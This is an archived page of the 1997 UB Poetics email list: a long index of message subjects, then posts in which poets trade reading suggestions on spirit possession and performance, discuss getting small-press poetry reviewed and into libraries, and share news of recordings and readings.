248. David Israel — The Lack -Reply
249. Gwyn McVay — Paging Peter Gizzi
250. Michael Coffey — Re: poetry "schools" -Reply
251. Christopher Alexander — Re: Names are not Objects
252. Michael Coffey — "schools" and doubles -Reply
253. Steve Evans — Matewan Defense
254. Mark Weiss — Re: More on labelling theory
255. amato — Re: poetry "schools"
256. Christina Fairbank Chirot — Re: Names & Labels
257. George Bowering — Re: Names are not Objects
258. Mark Weiss — Names
259. George Bowering — Re: Names are not Objects
260. George Bowering — Re: Mitch Goodman
261. Matthias Regan — Re: Film thread CONAN THE BARBARIAN
262. George Bowering — Re: tv vs. film...

263. Eliza McGrand- CVA Guest — Re: tv vs. film...
264. Aldon L. Nielsen — Re: names of the dead
265. Matthias Regan — Re: Names are not Objects
266. groberts — Go ahead, make my name
267. Joseph Lease — Re: poetry "schools"
268. Mark Weiss — Re: Film thread CONAN THE BARBARIAN
269. Chris Stroffolino — Re: POETICS Digest - 5 Feb 1997 to 6 Feb 1997
270. manny savopoulos — Fw: Internet Taxation
271. robert drake — Prevallet address?
272. Mark Weiss — On the confusion of names
273. Forrest Gander — Re: poetry "schools"
274. Tom Beard — Re: Names are not Objects
275. Tom Beard — Re: Provoking the stretch
276. maria damon — Re: possession
277. aerialedge — Fwd: Internet Taxation

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278. Miekal And — ero-text
279. F.A. Templeton — Re: Categories
280. David R. Israel — more re: Fwd: "New rules on internet access"
281. Wendy Battin — 'names are not double,' school objects
282. Alan Jen Sondheim — grand larceny
283. Brigham Taylor — Baraka/DuBois
284. Christopher Alexander — per-min email charges
285. linda v. russo — Re: Names are not Objects
286. linda v. russo — Re: notley/epic
287. linda v. russo — Re: poetry "schools"
288. Jordan Davis — brushback beanball hbp
289. Jordan Davis — Matewan Defense etc
290. Wendy Battin — question

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291. Gabrielle Welford — Uh oh! More Cyberproblems! (fwd)
292. Robert Archambeau — Re: poetry "schools"
293. Herb Levy — Clothes Make the Man
294. KYLE CONNER/LRC-CAHS — Re: Bandit Queen
295. Dan Raphael Dlugonski — names are not
296. Alan Jen Sondheim — the texts, Jennifer pleading isolation and poverty
297. Maria Damon (Maria Damon) — Re: names of the dead

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298. Bil Brown — Re: per-min email charges
299. Mark Wallace — the future of an illusion
300. Daniel Bouchard/College/hmco — fyi: transcendental dead
301. Mark Wallace — Dlugos reading (fwd)
302. Miekal And — The tracts, Jennifer perusing invocation and projection
303. maria damon — Re: Prevallet address?
304. Aldon L. Nielsen — Re: Knight Matters
305. maria damon — Re: On the confusion of names
306. David Israel — Re: Fwd: Internet Taxation
307. raea100900 — Re: for db: initializing, establishing, and authentication
308. Charles Bernstein — List Service Problems
309. Mark W Scroggins — Re: the future of an illusion
310. David Kellogg — Rasula and poetry zones
311. David Kellogg — Stein at Slate
312. aerialedge — new Adorno, Bernstein, Killian, Nielsen etc. @ B St
313. Henry Gould — Re: the future of an illusion

314. Christopher Alexander — Re: Names are not Objects
315. Christopher Alexander — Re: poetry "schools"
316. henry g — email query (Baratier)
317. amato — Re: the future of an illusion
318. DS — Re: Names are not Objects
319. DS — Re: Bandit Queen
320. Alan Jen Sondheim — Re: Names are not Objects
321. Charles Alexander — Re: ero-text
322. Sylvester Pollet — Re: the future of an illusion
323. Matthias Regan — Reper-mim ail car ges (in 2 parts)
324. charssmith — Re: Amiri Baraka
325. charssmith — Re: for db: initializing, establishing, and authentication
326. Matthias Regan — Remin e charge: per-mail (Part III)
327. Douglas — Re: Seeing Eye Books
328. Matthias Regan — Apology! (Read me before you read the other messages from Matthias Regan!)
329. Sylvester Pollet — Message ("The distribution of your message dated Mon, 10...")
330. Mark Prejsnar — Re: Provoking the stretch
331. Mark Roberts — AWOL: OVERLAND 145 (fwd)
332. Joe Safdie — Re: notley/epic
333. Christopher Alexander — Re: notley/epic
334. Pam Brown — (no subject)
335. Wendy Battin — Re: Rasula and poetry zones
336. maria damon — Re: Names are not Objects
337. Herb Levy — Suspended Music (shameless plug)
338. KYLE CONNER/LRC-CAHS — Re: Provoking the stretch

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339. George Bowering — Re: Clothes Make the Man
340. IMBURGIA — Re: new Adorno, Bernstein, Killian, Nielsen etc. @ B St
341. KENT JOHNSON — NOISE news #2 (fwd)
342. Miekal And — illusion futures exchange
343. Ron Silliman — Zones v. Zoos
344. David Bromige — Names
345. Mark Wallace — entertainment and pleasure
346. Charles Alexander — Re: Names are not Objects
347. amato — Re: Zones v. Zoos
348. Keith Tuma — Re: Zones v. Zoos
349. Pritchett,Pat — Re: Notley redux
350. Charles Alexander — Re: Zones v. Zoos
351. sschu30844 — Re: Amiri Baraka
352. henry — Re: entertainment and pleasure
353. David Kellogg — Re: Rasula and poetry zones
354. David Kellogg — Re: Zones v. Zoos
355. Tom Beard — Re: Provoking the stretch
356. amato — Re: Zones v. Zoos
357. Joseph Lease — Re: the future of an illusion
358. Mark Prejsnar — Re: poetry "schools"
359. Jordan Davis — more entertainment value (here we are now)
360. Joseph Lease — Re: Zones v. Zoos
361. linda v. russo — ironwood query
362. linda v. russo — Re: Names are not Objects
363. Aldon L. Nielsen — Re: Rasula and poetry zones
364. David Israel — Re: Rasula and poetry zones
365. dbkk — Re: Zones v. Zoos
366. charssmith — Re: Amiri Baraka

367. Rachel Loden — Tabula Rasula
368. Pam Brown — Re: uni query
369. David Israel — Re: Rasula and poetry zones / wink link
370. Pete Landers — Re: Names are not Objects
371. Wendy Battin — Re: Rasula and poetry zones
372. Rachel Loden — Re: Names
373. David Kellogg — Re: Zones v. Zoos
374. David Kellogg — Diacritics in! Copies of article out soon...
375. Franklin Bruno — zones, etc.
376. Dan Raphael Dlugonski — names and schools
377. Herb Levy — Re: Clothes Make the Man
378. Wendy Battin — Re: entertainment and pleasure
379. Stephen Vincent — Calling Interlochen MI

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380. Brigham Taylor — Essex Hemphill
381. George Bowering — Re: Names
382. David Bromige — door-darkening
383. David Bromige — Telephone companies cashing in on the internet
384. Chris Stroffolino — HOW BRIEF THE HUMAN SPAN....
385. jdhollo — Michael Coffey / poetry "schools"
386. Miekal And — [Fwd: Re: Hullo hullo hullo]
387. Ron Silliman — A Lease on History
388. Bil Brown — Re: Michael Coffey / poetry "schools"
389. 9448721p — OBJECT PERMANENCE #8
390. henry gould — Re: poetry "schools"
391. Miekal And — more value here (we are entertainment now)
392. Mark W Scroggins — Re: entertainment and pleasure
393. henry gould — review (very short)
394. Miekal And — manuel brito & zasterle
395. Christopher Alexander — per-mail (Pear tree
396. Miekal And — Re: names and schools
397. Aldon L. Nielsen — Teaching Coalition Conference (fwd)
398. Christopher Alexander — Re: Names are not Objects
399. Vincent S Gregory — LINEbreak
400. Fred Muratori — Re: Michael Coffey / poetry "schools"
401. Christopher Alexander — Re: poetry "schools"
402. Miekal And — Re: per-mail (Pear tree w/potatoes
403. Fred Muratori — Re: review, Piombino
404. Charles Alexander — Re: Zones v. Zoos
405. Charles Alexander — Re: review (very short)
406. Kenneth Goldsmith — SOLIOQUY Press Release
407. Joseph Lease — Re: A Lease on History
408. David Israel — Re: review (very short) / Zaserle
409. Aldon L. Nielsen — Re: Essex Hemphill
410. Joseph Lease — Re: ps to Ron Silliman
411. aerialedge — Re: ironwood query
412. Tom Beard — Re: zones, etc.
413. A. Jennifer Sondheim — Perl program
414. David Kellogg — Re: Zones v. Zoos
415. Matthias Regan — Provoking: the stretch
416. robert zamsky — Re: Rasula and poetry zones
417. Hank Lazer — Re: Lou Harrison Festival
418. DS — Re: Michael Coffey / poetry "schools"
419. A. Jennifer Sondheim — jennifer's hatred of others
420. Aldon L. Nielsen — Re: Zones v. Zoos

421. Joel Felix — Re: Zones v. Zoos, Conjunction Junction
422. Susan Wheeler — Re: Names
423. Michael Boughn — Who's Zoning Who
424. George Bowering — Re: Clothes Make the Man
425. David Bromige — divers

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426. David Bromige — second posting of the day
427. aerialedge — Re: Michael Coffey / poetry "schools"
428. Marina deBellagente laPalma — names' fluidity
429. Bil Brown — Re: fake avant garde ID
430. Ron Silliman — Crackle
431. henry gould — Re: Zones v. Zoos
432. charssmith — Re: Zones v. Zoos//Cole
433. Pritchett,Pat — Re: Names/Of No Known Provenance
434. Steven Marks — paradoxical criticism
435. shoemakers — Re: Michael Coffey / poetry "schools"
436. Fred Muratori — Darn Those Dorns!
437. dbkk — Re: Zones v. Zoos
438. Karl Richter — POEM
439. henry gould — Re: Darn Those Dorns!
440. Keith Tuma — die a critic
441. Bob Perelman — fake avant garde ID
442. Mark Wallace — Situation #14
443. Mark Wallace — Nick Piombino
444. David Golumbia — Re: fake avant garde ID
445. James Brook — new PHAROS available
446. henry gould — Re: darn thos dorns!
447. David Israel — Re: fake avant garde ID
448. Daniel Bouchard/College/hmco — Bob's poem read/discussed & redeemed
449. Eliza McGrand- CVA Guest — Re: Darn Those Dorns!
450. Douglas — Re: Nick Piombino
451. George Bowering — Re: Bob's poem read/discussed & redeemed
452. Tom Beard — Re: Nick Piombino
453. petersm — Alice Notley
454. henry — Re: Who's Zoning Who
455. Wendy Battin — Re: Who's Zoning Who

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456. Bil Brown — Re: Nielsen on Dorn
457. jdhollo — Nielsen on Dorn
458. A. Jennifer Sondheim — for valentine's day whatever happiness you've found
459. Pierre Joris — Rushdie's Valentine
460. Pierre Joris — query
461. Chris Stroffolino — OH CANADA
462. L. Mac Mahon and T.R. Healy — Hello
463. henry — Re: Who's Zoning Who
464. Christopher Alexander — Re: per-mail (Pear tree w/potatoes
465. henry — query
466. F.A. Templeton — Categories
467. Christopher Alexander — Re: Who's Zoning Who
468. Keith Tuma — Re: Who's Zoning Who
469. maria damon — Re: Names
470. maria damon — Re: for valentine's day whatever happiness you've found
471. maria damon — Re: Nielsen on Dorn
472. Sherry Brennan — Dorn
473. Mark Prejsnar — Perelman and theory and stuff

474. Miekal And — name-sies
475. Gwyn McVay — Re: Names
476. amato — Re: die a critic
477. Don Cheney — Catullus for Valentines Day
478. Burt Kimmelman — Bronk Panel at Oxford, August 30, 1997
479. Jordan Davis — ride the tiger to the river Euphrates
480. k.a. hehir — Re: the future of an illusion (fwd)
481. Christopher Alexander — Re: ride the tig etc
482. henry again — Re: ride the tiger to the river Euphrates
483. Christopher Alexander — Re: Names
484. Peter Zukowski — John High
485. Michael Boughn — Re: Who's Zoning Who
486. Christina Fairbank Chirot — Re: poison pens/valentine's day
487. David Kellogg — Re: Who's Zoning Who
488. Lisa Samuels — my poetics valentine
489. henry — Re: my poetics valentine
490. Jordan Davis — : D is all we get of the cat (your summary axe)
491. A. Jennifer Sondheim — The more things change.... (fwd)
492. aerialedge — Re: ride the tiger to the river Euphrates
493. k.a. hehir — dante valentini
494. maria damon — Re: my poetics valentine
495. David Bromige — divers
496. maria damon — Re: my poetics valentine
497. Aldon L. Nielsen — Re: Nielsen on Dorn
498. Aldon L. Nielsen — Re: minor corrections
499. Rachel Loden — Re: Nielsen on Dorn
500. maria damon — Re: Nielsen on Dorn
501. Bob Grotjohn — Re: my poetics valentine
502. Aldon L. Nielsen — Re: Aldon, Pat & Rachel
503. michael corbin — Re: Nielsen on Dorn
504. michael corbin — Re: names and doubles
505. Tenney Nathanson — Erica Hunt? Harryette Mullen? (email addresses)
506. maria damon — Re: names and doubles
507. maria damon — Re: Aldon, Pat & Rachel

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508. Steven Marks — Re: dante valentini
509. jdhollo — Loden, Damon, re Nielsen/Dorn
510. A. Jennifer Sondheim — after Valentine's Day's darkness, the darkness sets in
511. sschu30844 — Re: Randolph Healy
512. Rachel Loden — no massacre
513. Michael Magee — valentine poem
514. Tom Mandel — racism, racist poets
515. amato — the more things change (fwd); dorn...
516. Miekal And — [Fwd: CONLANG: Jabberwocky Translations]
517. Miekal And — Re: our vale in time
518. Elizabeth Mathews Losh — Re: names

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519. B Staker — Re: NEW ADDRESS FOR POETICS LIST
520. Eliza McGrand- CVA Guest — Re: racism, racist poets
521. Christina Fairbank Chirot — Kocik address query
522. Aldon L. Nielsen — Re: NOT about Pound
523. amato — Re: racism, racist poets
524. maria damon — Re: racism, racist poets
525. maria damon — ANNOUNCEMENT: FWD FROM ERIK BELGUM
526. Gwyn McVay — Re: racism, racist poets

527. Gwyn McVay — Lazer's /Opposing Poetries/
528. Jordan Davis — no coast of Nebraska (bad/good)
529. henry — Re: no coast of Nebraska (bad/good)
530. Tosh — (no subject)
531. DS — Re: racism, racist poets
532. maria damon — Re: same old thing
533. Eliza McGrand- CVA Guest — Re: racism, racist poets
534. Schuchat Simon — Re: new Adorno, Bernstein, Killian, Nielsen etc. @ B St
535. Schuchat Simon — apologies

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536. David Bromige — Flawed Makers
537. main — tarn address
538. Aldon L. Nielsen — Re: new Adorno, Bernstein, Killian, Nielsen etc. @ B St
539. jen hofer — mexican poetry in translation
540. jdhollo — One each from Bert and Ted
541. Bil Brown — Re: One each from Bert and Ted
542. Thomas Bell — Re: racism, racist poets
543. aerialedge — Re: no coast of Nebraska (bad/good)
544. Rachel Loden — Re: Flawed Makers
545. nico vassilakis — nordaDORN
546. Michael Boughn — Re: racism, racist poets
547. David R. Israel — a Persian diatribe / ..."Chaos--the Rock Video"
548. Diane Marie Ward — Re: Calling Loss ...
549. Jim Rosenberg — Calling Loss ...
550. william marsh — Jeff Hansen?
551. Mark Prejsnar — Evil poets
552. maria damon — Re: a Persian diatribe / ..."Chaos--the Rock Video"
553. John E. Matthias — Pound/Dorn
554. L. Mac Mahon and T.R. Healy — Re: Randolph Healy
555. cris cheek — Re: a Persian diatribe / ..."Chaos--the Rock Video"
556. John E. Matthias — Rothenberg on EP
557. David Bromige — e-ddress for rob mittenthal
558. Christina Fairbank Chirot — Re: a Persian diatribe / ..."Chaos--the Rock Video"
559. Aldon L. Nielsen — Re: On how morality gets into it, according to Olson
560. shoemakers — Re: Evil poets
561. Herb Levy — Re: e-ddress for rob mittenthal
562. Tom Mandel — Racism, racist poets
563. sschu30844 — Re: Randolph Healy

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924. aerialedge — Re: how people behave

1. David Bromige
oh, alright (clothing)
Fri 31 Jan 1997

Miekal, i'm more of an off-beat poet. George, however, is the reverse. Er, that is, he always claps on the beat. db

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2. Thomas Bell
Re: Getting the word out
Sat 1 Feb 1997

Wgy don't you stop talking about "getting the word out" and get it out by sending
copies for list members to review on line?

At 12:50 PM 1/31/97 -0500, Steven W. Marks wrote:
>On Fri, 31 Jan 1997, robert drake wrote:
>>

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3. main
Re: Query: Performance and spirit
Sat 1 Feb 1997

ghost dance: origins of religion, weston la barre (waveland; 1970). dan featherston

> *I'm looking for any suggestions (books, essays, manifestos, whatever) re. spirit possession, spirti doctors, getting the spirit, conjuring in connection with performance and the performative. Also essays about spirit possession and subjectivity.*

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4. Mark Weiss
Re: Query: Performance and spirit
Sat 1 Feb 1997

Anything by Lydia Cabrera. Susan Levine has translated some of the stories. If you have Spanish go to Cabrera's _El Monte_, as close to a bible as santeria has, and the source, alas, for almost all of the "original" work in English since the 50's. Also check out Verges (I've forgotten first name), the great student of Condomble in Brazil. For that you'll need French. Thompson's Flash of the Spirit is readily available, but highly unreliable. Susan Sherman translated a Cuban play about santeria possession years ago,

called, if I remember her spelling, Chango de Ima. Also check out Barbara Myerhoff's _Peyote Hunt_, and a look at Victor Turner's performance theory stuff would probably be helpful. I second the Hurston--a great book. Maya Deren also wrote about this at about the same time.
At 08:39 PM 1/31/97 +73900, you wrote:
>>
>> I'm looking for any suggestions (books, essays, manifestos, whatever) re.
>> spirit possession, spirti doctors, getting the spirit, conjuring in
>> connection with performance and the performative. Also essays about spirit
>> possession and subjectivity.
>
>Try Zora Neal Hurston's _Tell My Horse_. One of the best things on
>Voudon and possession I've ever read. And of course Ishmael Reed's
>_Mumbo Jumbo_.
>
>Mike
>[redacted]
>
>

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5. Mark Weiss
Re: Getting the word out
Sat 1 Feb 1997

>Date: Fri, 03 Jan 1997 01:23:28
>To: [redacted] (robert drake)
>From: Mark Weiss <[redacted]>
>Subject: Re: Getting the word out
>
>.>praps what i'm saying, in marketing terms, is that most poetry is
>>a niche market--and even moreso, most of the poetry that is generally
>>discussed on this list. niche marketing techniques are intrinsically
>>different than mass-marketing--you build an audience one reader at a
>>time--and that frinstance reviews in magazines that already have the
>>attention of your small target audience are likely to be more useful
>>than broader-coverage mags--in addition, those reviews are more likely
>>to be carefully thoughtout & relevent... likewise ads--not only can
>>none of us afford ad space in the NYTs Book Review, but i'm sceptical
>>that such would generate sales _or_ get books into interested readers'
>>hands... whereas an ad in Avec might not only reach an interested
>>audience, but might help keep that mag in business as well...

>
>Good point, and helpful.
>
>
>>some of what i hear from you tho ("They have been educated to not read
>>poetry--maybe they can be uneducated") seems to me to follow from assumptions
>>about quality, as if that were some universal absolute. i dont
>>assume that others "should" agree with me, or that they dont agree with
>>me because they're ignorant, or because they've been taught not to.
>>& frankly, i find a program that uneducates, or re-educates a population
>>away from "wrong" ideas, kind ov scary...
>
>
>I think you misunderstand my drift. I'm not saying that the kids are taught
not to read the poetry I value, I'm saying they're taught that reading any
poetry is a chore and that poets are involved in a strange game of
mystification. I do think that most complex poetry (take the term as you
like) is for most people an acquired taste. The product of a Rousseauean
education that no one is likely to receive anyway, may chant his native
woodnotes wild, but that may not help him a whole lot with, say, Pound, or
Stein, or (fill in whoever you like). But that potential reader is more
likely to have his/her curiosity peaked to make the effort if she/he has a
memory of pleasurable associations with the idea of poetry. Like, maybe that
person will want to look at the poetry section in the bookstore, or even
share discovered poems with friends. But the theme cunningly hidden in the
foliage idea of poetry as expounded by HS teachers who likewise are not
particularly excited by poetry--any poetry--is not likely to facilitate that
response.
>I'm talking about the teaching of some basic skills and the allowing of an
openness to change and the unexpected, as well as perhaps the inspiring of
an aspiration to a particular kind of pleasure and understanding.
>But let's call a spade a spade here. All teaching has an authoritarian
element. We teach what we know, but also what we think the students should
know, whether it's computer skills or the three rs or fly fishing. And the
arts, any art, is also of necessity authoritarian--we hope, I think most of
us, that our poems will act upon the reader and listener, perhaps not always
in predictable ways, but it's us who lay out the parameters (not to slight
the reader's part in this--no matter how active the reader may be, if I
don't at least join him in saying play ball he'll play in someone else's
field, if at all), and it's us who are saying, "look at this, look at that"
out of the limitless field that's available. I'm aware that I may be both

poet and audience, but I don't think that changes the dynamic) We do this because it's important to us, for reasons that are both various and obscure. Not everyone feels the need or desire to do so.
>
>>as fr libraries: i have a wonderful hardback copy of _in the american
>>tree_, which i bought used at the library booksale. it had been added
>>to the collection by ken warren, director of the library & a LangPo fan.
>>it had never been checked out (over 7 years). as a publisher, i think
>>it's a great idea to get libraries to buy my books. but i have mixed
>>feelings at the thought that public libraries can, or should, stand in
>>for the NEA by subsidizing the publication of literatures...
>
>Well, thanks to that library you found a book.
>In the old--not-so-old--days when libraries had acquisition budgets I would walk into Butler Library at Columbia, even as a graduate preceptor, and have them order books that I thought they should have. Maybe they sat there unread forever, and maybe they were deaccessioned (so much nicer than "trashed"), or maybe, as has happened to me hundreds of times, they were stumbled across by a curious student who was astonished, then obsessed. Lives change that way. And it does help to get the word out.
>

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6. Miekal And

antero alli

Sat 1 Feb 1997

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antero alli's

Paratheatrial ReSearch Webpage

INTERMEDIA EXPERIMENTS & RITUAL TECHNOLOGY

http://labridge.com/PTR/

were trying to get antero
out to dreamtime fer a spell in may

miekal
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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7. Miekal And
Performance and spirit and quest
Sat 1 Feb 1997

& throw in this jumble of books anything by ethnobotanists Richard Schultes, Terrance McKenna, Mark Plotkin & others on the ethnologies of entheogenic plants & ritual--

& our group, The Driftless Academy of Botanical Apparitions has a 45 minute video called "The Lady of the Gourd, & her Fertility" of a fertility ritual we performed as Minneapolis College of Art & Design. We went to the space in may of the year, built a 25 foot log tower (looked kinda like a boy scout signal tower) & planted gourds when spent the summer growing up it & covering this huge tower. Later in oct we invoked a fertility ritual with Lyx as the nascent gourdess coming into being as the gourds are harvest & the tower in brought down. (Unfortunately the Minneapolis fire department wouldnt give us a permit to burn it down, so we got this crazy pyrotechnicist instead.)

Miekal

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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8. Miekal And
contact/review
Sat 1 Feb 1997

Steven W. Marks wrote:
>
> On Fri, 31 Jan 1997, robert drake wrote:
> >
> > but i'm not clear frm the above paragraph if yr equating "good magazine"
> > w/ "mainstream publication"... there are plenty of good magazines running
> > reviews and substantial critical work--Witz, Poetry Project Newsletter,
> > Poetic Briefs, Mondo Hunkamooga, Chain, Texture, Compound Eye, Factsheet
> > Five, Dusty Dog Reviews, Small Press Review, my own TapRoot Reviews...
> >

> By "good," I mean magazines like those you list as well as ones like
> Another Chicago Magazine, Green Mountains Review, Boston Book Review,
> American Book Review, etc.

Is there a contact list with addresses of all these publications, & any others that might carry reviews, maybe at epc?

miekal

↑ Index

9. Pierre Joris

Re: Query: Performance and spirit

Sat 1 Feb 1997

---

check out the Maria Sabina material, the Mazatec shamaness who used mushrooms to get
into a healing trance & thus "possessed" (silly word) composed & performed her chants
-- I don't know if the book is still in print, but you can find extracts in a number of
Rothenberg edited anthologies. -- Pierre
>
> > > I'm looking for any suggestions (books, essays, manifestos, whatever) re.
> > > spirit possession, spirti doctors, getting the spirit, conjuring in
> > > connection with performance and the performative. Also essays about spirit
> > > possession and subjectivity.

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

↑ Index

10. Wendy Battin
Query: Performance and spirit
Sat 1 Feb 1997

Julie,
Do you know Antero Alli's _All Rites Reversed_?
Vigilantero Press, & also available, I think, on the web.

& of course there's Deren's _Divine Horsemen_.

Wendy

Wendy Battin [redacted]
(home) http://camel.conncoll.edu/ccother/wjbat/
(CAPA) http://shain.lib.conncoll.edu/CAPA/capa.html

"It is not the crocodile's job to yell "Watch out for the
crocodile!"--Henri Michaux

↑ Index

11. Sylvester Pollet
hart crane, charlie mingus & sonny rollins
Sat 1 Feb 1997

Aldon & others who responded to my original post--thanks for the other titles.I couldn't respond sooner--computer problems at home. It was the image of Sonny Rollins that made me try reading the proem "to Brooklyn Bridge" in the first place--I mentioned him first, his woodshedding there, then read the Crane over the Mingus (band's selection) & went into Paul Blackburn's poem "Listening to Sonny Rollins at the Five Spot" (CP 316). That poem tries to catch the way Rollins fragments a melody in a solo, by fragmenting the lyrics to "There Will Never Be Another You." Jay Bregman, sax, played it. Last poem was Blackburn's "Barrel Roll," one of my favorites, also with gulls, the East River, the bridge, and the feel of a jazz solo. The set worked pretty well, though I didn't do well by the Five Spot one--that should be more sung, more melodic than I did it. As for the other post, yes, I see Crane down there listening to Rollins ("Under thy shadow by the piers I waited,") & I can almost make out what he's doing in those shadows with Whitman!

Sylvester Pollet

Backwoods Broadsides
RR5 Box 3630
Ellsworth ME

National Poetry Foundation
University of Maine
5752 Neville Hall

04605-9529 Orono, Maine
USA 04469-5752

↑ Index

12. Jordan Davis
Re: Getting the word out
Sat 1 Feb 1997

10th fl butler stax is the place to be for poetry up through about 1983, then it trails off... but there are some good books there and mysteriously elsewhere, two copies of B Mayer & A Waldman's 'basketball article', one in poetry one in sports .. thanks M Weiss if that was you who put all those books there .. Jordan Davis

↑ Index

13. robert drake
Re: Recent Publications, Hebronics, & Neologisms
Sat 1 Feb 1997

herb--

cleanin out the mailbox--do you have an address fr Tzadik? &, asever, if you'd be interested in writing up a short 'view of the disk fr a future TRR, wd be welcomd

yr pal
luigi

> *Maria & other list members involved in the various threads refered to in the subject line may be interested in a recent recording by Zeena Parkins that is based, in part, on texts in Rotwelsch, a Yiddish-based argot used by Jewish gangsters Germany from the 14th century into at least the late 19th century.*
>
> *The disc is called "Mouth=Maul=Betrayer" & it's in the often oddly curated Radical Jewish Culture series on the Tzadik label. The two compositions on the disc are Maul, where most of the Rotwelsch is, & Blue Mirror, which deals with Jewish gangsters in the US in the first half of the 20th century. These aren't narrative music theater pieces, so your sense of their use-value may vary.*

↑ Index

14. Jerry Rothenberg
Re: Query: Performance and spirit
Sat 1 Feb 1997

As a followup to Pierre's note regarding Maria Sabina and the above query, it surprised me that while he mentioned my own anthologies, he forgot to say that there's an excerpt from her veladas (night chants) in his and my Poems for the Millennium. I also have excerpts in the revised Technicians of the Sacred and in Shaking the Pumpkin, both of which should still be easily available. The Maria Sabina book in question (gathered by fellow Mazatecan Alvaro Estrada and translated into English by Henry Munn) was published by now defunct Ross-Erikson Publishers and is, I suppose, now only available through libraries.

Technicians of the Sacred was my own opening shot on questions of this sort, which seemed to me then (& now) as very much tied up with the sources of poetry etc. & persistent even among many of us who pretend a distance from such matters. I think here of David Antin with his overt denials of the sacred and the dream, say -- & his retreat in the latter case at least after that strategy had run its course. (Since David is my oldest friend in all of this, I know whereof I speak.) But I would also suggest, among others, that Robert Duncan remains an outstanding guide on matters of that kind, although the performance question was never that much central to him. Dennis Tedlock's works (& Barbara Tedlock's too) would be good examples of dealing with the traditionally (ethnopoetically) spiritual and not descending into any version of new-agism.

Anyway it seems to me that this is touching on a crucial problematic of twentieth-century poetry (and much of the 19th before it) -- certainly on the question of poets' and artists' relations to other times & places & to their own workings & concerns. Take as intros to the twentieth century such works as Kandinsky's Spritual in Art or Mallarme's The Book, Spritual Instrument. And the title of the latter is also that of the latest publication I've attempted -- a gathering of works & specuations on contemporary & ethnopoetic (traditional) approaches to the book (including, let me add, the book as an instrument of performance).

The books (from my own workings) that are still in print are Technicians, Shaking the Pumpkin, Exiled in the Word (retitling of A Big Jewish Book), and Symposium of the Whole (essays & poetics by various hands, co-edited with Diane Rothenberg). Notably out of print are Revolution of the Word (where the theme remains beneath the surface) and America a Prophecy (co-edited with George Quasha) where it's very much writ large. And the new anthology with Pierre gets at it from Blake to Jabes, say, & in the second volume brings it toward the present.

Okay & greetings.

JERRY

↑ Index

15. Aldon L. Nielsen
Re: divine horsepersons
Sat 1 Feb 1997

Deren also, not surprisingly, made a film also titled "Divine Horsemen" -- It IS available on video, though probably not at your local Blockbuster --

Two students just gave me the video of "Pull My Daisy" as a gift -- Not sure what I think of it as film yet -- but Kerouac's narration (adapted from his "Beat Generation" play) was much better than I'd expected --

will provide title of that Baraka story Maria mentions later today -- it's in my room across campus

(Yes, I'm actually living ON campus this semester -- never did it when I was a student -- Now I can see why it might not have been such a good idea at age 19)

↑ Index

16. robert drake
Re: contact/review
Sat 1 Feb 1997

> *Is there a contact list with addresses of all these publications, & any others that might carry reviews, maybe at epc?*
>
> *miekal*

spencer selby's "List of Experimental Poetry/Art Magazines" is currently the "EPC Selected Resource", & it has most of those addresses--

http://writing.upenn.edu/epc/authors/selby/current.html

didnt check fr them all, backchannel me if there's some missing...

lbd

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17. maria damon
Re: Recent Publications, Hebronics, & Neologisms
Sat 1 Feb 1997

---

i just picked up mouth=maul¾trayer, it's fantastic! thanks herb. one thing that strikes me as very charming and strange is the fascination with the minutiae of jewish gangster life, obviously carefully researched and following, it seems,

walter benjamin's all-too-well-founded alarmist dictum that no piece on information or detritus of a culture is too negligle to saved --all glossed with the note that the compositions "evoke a side of Jewish experience perhaps best forgotten." typically hebronic logic! md

In message <[redacted]> UB Poetics discussion
group writes:
> herb--
>
> cleanin out the mailbox--do you have an address fr Tzadik? &, asever,
> if you'd be interested in writing up a short 'view of the disk fr
> a future TRR, wd be welcomd
>
> yr pal
> luigi
>
> >Maria & other list members involved in the various threads refered to in
> >the subject line may be interested in a recent recording by Zeena Parkins
> >that is based, in part, on texts in Rotwelsch, a Yiddish-based argot used
> >by Jewish gangsters Germany from the 14th century into at least the late
> >19th century.
> >
> >The disc is called "Mouth=Maul¾trayer" & it's in the often oddly curated
> >Radical Jewish Culture series on the Tzadik label. The two compositions on
> >the disc are Maul, where most of the Rotwelsch is, & Blue Mirror, which
> >deals with Jewish gangsters in the US in the first half of the 20th
> >century. These aren't narrative music theater pieces, so your sense of
> >their use-value may vary.
> >
>

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18. **Mark Weiss**

Re: Query: Performance and spirit

Sat 1 Feb 1997

I'm sending this message a second time, as I have no idea if it's getting through--it's not getting back to me. I'd appreciate if someone on the list would tell me if it's been posted.

Anything by Lydia Cabrera. Susan Levine has translated some of the stories. If you have Spanish go to Cabrera's _El Monte_, as close to a bible as santeria has, and the source, alas, for almost all of the "original" work in

English since the 50's. Also check out Verges (I've forgotten first name), the great student of Condomble in Brazil. For that you'll need French. Thompson's Flash of the Spirit is readily available, but highly unreliable. Susan Sherman translated a Cuban play about santeria possession years ago, called, if I remember her spelling, Chango de Ima. Also check out Barbara Myerhoff's _Peyote Hunt_, and a look at Victor Turner's performance theory stuff would probably be helpful. I second the Hurston--a great book. Maya Deren also wrote about this at about the same time.
At 08:39 PM 1/31/97 +73900, you wrote:
>>
>> I'm looking for any suggestions (books, essays, manifestos, whatever) re.
>> spirit possession, spirti doctors, getting the spirit, conjuring in
>> connection with performance and the performative. Also essays about spirit
>> possession and subjectivity.
>
>Try Zora Neal Hurston's _Tell My Horse_. One of the best things on
>Voudon and possession I've ever read. And of course Ishmael Reed's
>_Mumbo Jumbo_.
>
>Mike
>[redacted]
>
>

↑ Index

19. Mark Weiss
Performance and Spirit
Sat 1 Feb 1997

All them christian mystics, incl. Sts Teresa and Francis and tons and tons of others. There's also a pretty extensive sufi literature, also some Jewish esoteric, but someone else onthe list will have to give the details on this. If this thread continues we might produce a master bibliography. We also might use up a lot of gigabytes. Whatever blurs the boundaries. Beware the man from Porlock.

↑ Index

20. Steven W. Marks
Re: contact/review
